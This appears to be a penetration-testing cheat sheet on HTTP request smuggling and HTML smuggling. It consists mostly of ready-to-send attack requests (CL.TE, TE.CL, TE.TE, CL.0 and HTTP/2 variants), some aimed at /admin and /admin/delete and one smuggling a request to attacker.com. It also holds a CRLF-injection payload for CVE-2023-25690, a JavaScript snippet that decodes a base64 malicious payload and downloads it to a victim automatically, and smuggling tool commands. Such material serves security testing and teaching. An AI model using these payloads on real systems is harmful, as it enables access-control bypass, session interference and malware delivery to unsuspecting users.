# HTTP Request Smuggling

### General

{% hint style="info" %}
HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users. Request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behavior of the two servers: Most HTTP request smuggling vulnerabilities arise because the HTTP specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header.
{% endhint %}

## HTML Smuggling <a href="#html-smuggling" id="html-smuggling"></a>

Attackers hosts a malicious file and can invite victim to download it using the HTML Smuggling technique.

### Exploitation <a href="#exploitation" id="exploitation"></a>

Attackers can use **`anchor`** tag to invite victim to download a malicious file as below. When clicking, the malicious file is downloaded as the name “payment.docx”.

```shellscript
<a href="/malicious_doc.docx" download="payment.docx">Cliek Here</a>
```

Alternatively, attackers can also use JavaScript, then let browsers to download a malicious file when loading the page, or invite victim to click download button.

```shellscript
var a = document.createElement('a');
a.download = 'malicious_doc.docx'
```

#### Using JavaScript Blob <a href="#using-javascript-blob" id="using-javascript-blob"></a>

By using blob, attackers can let victim to download a malicious file while obfuscate its content by encoding/decoding malicious code.

```shellscript
// Decode Base64 encoded malicious code
var malBase64 = '<BASE64_ENCODED_CODE>';
var malBinStr = window.atob(malBase64);
var malLen = malBinStr.length;
var malBytes = new Uint8Array(malLen);
for (var i = 0; i < malLen; i++) {
    malBytes[i] = malBin.charCodeAt(i);
}

// Create a blob
// 'octet/stream' allows any file types.
var malBlob = new Blob([malBytes.buffer], {type: 'octet/stream'});
var malUrl = window.URL.createObjectURL(malBlob);

// Create a downloadable anchor (automatically download)
var a = document.createElement('a');
a.style.display = 'none';
a.href = malUrl;
a.download = 'mal.py';
document.body.appendChild(a);
// this anchor will be clicked automatically.
a.click();
document.body.removeChild(a);
```

### References <a href="#references" id="references"></a>

* [CYFIRMA](https://www.cyfirma.com/outofband/html-smuggling-a-stealthier-approach-to-deliver-malware/)

## HTTP Request Smuggling <a href="#http-request-smuggling" id="http-request-smuggling"></a>

It is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users.

### Investigation <a href="#investigation" id="investigation"></a>

Assume the website has the following HTTP specification.

```shellscript
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin
```

If we change **"Content-Length"** to **"Transfer-Encoding"** as follow, the data is sent in chunks to server. Each chunk consists of the chunk size in bytes (it is expressed in hexadecimal).

The message is terminated with a chunk of size zero.

```shellscript
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

1d
username=admin&password=admin
0
```

By the way, **Transfer-Encoding** header is not allowed in **HTTP/2**.

### BurpSuite Usefule Extension <a href="#burpsuite-usefule-extension" id="burpsuite-usefule-extension"></a>

BurpSuite has the useful extension **“HTTP Request Smuggler”**.

### Tips <a href="#tips" id="tips"></a>

* The chunked size is represented as Hexadecimal.
* When calculating `Content-Length` , consider a newline as 2 bytes (`\r\n`).

### CL.TE (Content-Length . Transfer-Encoding) <a href="#clte-content-length-transfer-encoding" id="clte-content-length-transfer-encoding"></a>

The front-end server uses “Content-Length” header and the back-end server uses “Transfer-Encoding” header.

Send the following request twice.

```shellscript
POST /item HTTP/1.1
Host: example.com
Content-Length: 9
Transfer-Encoding: chunked

0

EVIL
```

If the response delays, we may be able to request smuggling.

#### Exploit <a href="#exploit" id="exploit"></a>

The front-end server uses the “Content-Length” header, so

```shellscript
POST /item HTTP/1.1
Host: example.com
Content-Length: 84
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: example.com
Foo: xGET / HTTP/1.1
Host: example.com
```

### TE.CL (Transfer-Encoding . Content-Length) <a href="#tecl-transfer-encoding-content-length" id="tecl-transfer-encoding-content-length"></a>

The front-end server uses **“Trans-Encoding”** header and the back-end server uses **“Content-Length”** header.\
Send the following request twice.

If you use BurpSuite, check the **“Update Content-Length”** option is unchecked to avoid BurpSuite automatically changes the Content-Length depending on data sent.

```shellscript
POST  HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked

4
EVIL
0
```

If the response delays, we may be able to request smuggling.

#### Exploit <a href="#exploit_1" id="exploit_1"></a>

Send the following request twice.

```shellscript
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

70
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
```

### TE.TE (Transfer-Encoding . Transfer-Encoding) <a href="#tete-transfer-encoding-transfer-encoding" id="tete-transfer-encoding-transfer-encoding"></a>

Both the front-end server and the back-end server support the **“Transfer-Encoding”** header but one of the servers can be induced not to process it by obfuscating the header.

```shellscript
Transfer-Encoding: xchunked

Transfer-Encoding: chunked
Transfer-Encoding: x
```

### CL.0 (Content-Length: 0) <a href="#cl0-content-length-0" id="cl0-content-length-0"></a>

If the target website ignores the Content-Length, you’re able to access the restricted page by request smuggling.

#### 1. Prepare the Two Same Requests <a href="#id-1-prepare-the-two-same-requests" id="id-1-prepare-the-two-same-requests"></a>

If you're using Burp Suite, send the target request to **Repeater** twice.

#### 2. Change the First Request to POST Request <a href="#id-2-change-the-first-request-to-post-request" id="id-2-change-the-first-request-to-post-request"></a>

#### 3. Set the "Content-Length: 0" in the First Request <a href="#id-3-set-the-content-length-0-in-the-first-request" id="id-3-set-the-content-length-0-in-the-first-request"></a>

#### 4. Set the "Connection: keep-alive" in the First Request <a href="#id-4-set-the-connection-keep-alive-in-the-first-request" id="id-4-set-the-connection-keep-alive-in-the-first-request"></a>

Now two requests should look like:

```shellscript
# Request 1
POST / HTTP/1.1
Host: example.com
Cookie: key=value
Connection: keep-alive
Content-Length: 0

GET /admin/delete?username=john
Foo: x

# -------------------------------------------------

# Request 2
GET / HTTP/1.1
Host: example.com
Cookie: key=value
Connection: close
```

#### 5. Send Requests in Order <a href="#id-5-send-requests-in-order" id="id-5-send-requests-in-order"></a>

First off, if you're using Burp Suite, note that **enabling the "Update Content-Length" in the Burp Repeater option.** The sequence is Request 1 -> Request 2.

### HTTP/2 CL.0 (Content-Length: 0) <a href="#http2-cl0-content-length-0" id="http2-cl0-content-length-0"></a>

#### 1. Prepare Request <a href="#id-1-prepare-request" id="id-1-prepare-request"></a>

If you're using Burp Suite, note that **disable "Update Content-Length" and enable "Allow HTTP/2 ALPN override" in the Burp Repeater option.**

The request shoud look like:

```shellscript
POST / HTTP/2
Host: example.com
Content-Length: 0

GET /exploit HTTP/1.1
Host: attacker.com
Content-Length: 5

x=1
```

#### 2. Send Request <a href="#id-2-send-request" id="id-2-send-request"></a>

Before doing, don't forget to **expand the Inspector on the right in the Repeater and select "HTTP/2".**\
Now send the request a few times.

### mod\_proxy Misconfiguration on Apache ≥2.4.0, 2.4.55≤(CVE-2023-25690) <a href="#mod_proxy-misconfiguration-on-apache-240-2455cve-2023-25690" id="mod_proxy-misconfiguration-on-apache-240-2455cve-2023-25690"></a>

Reference: <https://github.com/dhmosfunk/CVE-2023-25690-POC>

If target web server allows any characters (`.*`) in `RewriteRule`, it causes HTTP request smuggling.

```
RewriteEngine on
RewriteRule "^/products/(.*)" "http://127.0.0.1:8080/?productId=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/"
```

#### Send Request with CRLF (`\r\n`) Injection <a href="#send-request-with-crlf-rn-injection" id="send-request-with-crlf-rn-injection"></a>

```shellscript
GET /products/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1

# It means the following:
#
# GET /products/1 HTTP/1.1
# Host: 127.0.0.1
#
# GET /SMUGGLED HTTP/1.1
```

### References <a href="#references" id="references"></a>

* [PortSwigger](https://portswigger.net/web-security/request-smuggling)

### Tools

```bash
# https://github.com/defparam/smuggler
python3 smuggler.py -u <URL>
# https://github.com/defparam/tiscripts

# https://github.com/anshumanpattnaik/http-request-smuggling/
python3 smuggle.py -u <URL>

# https://github.com/assetnote/h2csmuggler
go run ./cmd/h2csmuggler check https://google.com/ http://localhost


# HTTP/2
# https://github.com/BishopFox/h2csmuggler
```

### Samples

```shellscript
- The Content-Length header is straightforward: it specifies the length of the message body in bytes. For example:

    POST /search HTTP/1.1
    Host: normal-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11

    q=smuggling

- The Transfer-Encoding header can be used to specify that the message body uses chunked encoding. This means that the message body contains one or more chunks of data. Each chunk consists of the chunk size in bytes (expressed in hexadecimal), followed by a newline, followed by the chunk contents. The message is terminated with a chunk of size zero. For example:

    POST /search HTTP/1.1
    Host: normal-website.com
    Content-Type: application/x-www-form-urlencoded
    Transfer-Encoding: chunked

    b
    q=smuggling
    0



• CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
   ◇ Find - time delay:
    POST / HTTP/1.1
    Host: vulnerable-website.com
    Transfer-Encoding: chunked
    Content-Length: 4

    1
    A
    X
• TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
   ◇ Find time delay:
    POST / HTTP/1.1
    Host: vulnerable-website.com
    Transfer-Encoding: chunked
    Content-Length: 6

    0

    X
• TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

- CL.TE
    Using Burp Repeater, issue the following request twice:
    POST / HTTP/1.1
    Host: your-lab-id.web-security-academy.net
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 6
    Transfer-Encoding: chunked

    0

    G
    The second response should say: Unrecognized method GPOST.

 - TE.CL
    In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
    Using Burp Repeater, issue the following request twice:
    POST / HTTP/1.1
    Host: your-lab-id.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-length: 4
    Transfer-Encoding: chunked

    5c
    GPOST / HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15

    x=1
    0

 - TE.TE: obfuscating TE Header
     In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
    Using Burp Repeater, issue the following request twice:
    POST / HTTP/1.1
    Host: your-lab-id.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-length: 4
    Transfer-Encoding: chunked
    Transfer-encoding: cow

    5c
    GPOST / HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15

    x=1
    0
```

![](https://1729840239-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M5x1LJiRQvXWpt04_ee%2F-M9s8dPOuCJZgOvUT8NL%2F-M9sBPtbUhUnbgu6JE6w%2F20200520131941\[1].jpg?alt=media\&token=8d28c37d-7fbe-471c-b0f8-eedb7dbaf7f8)
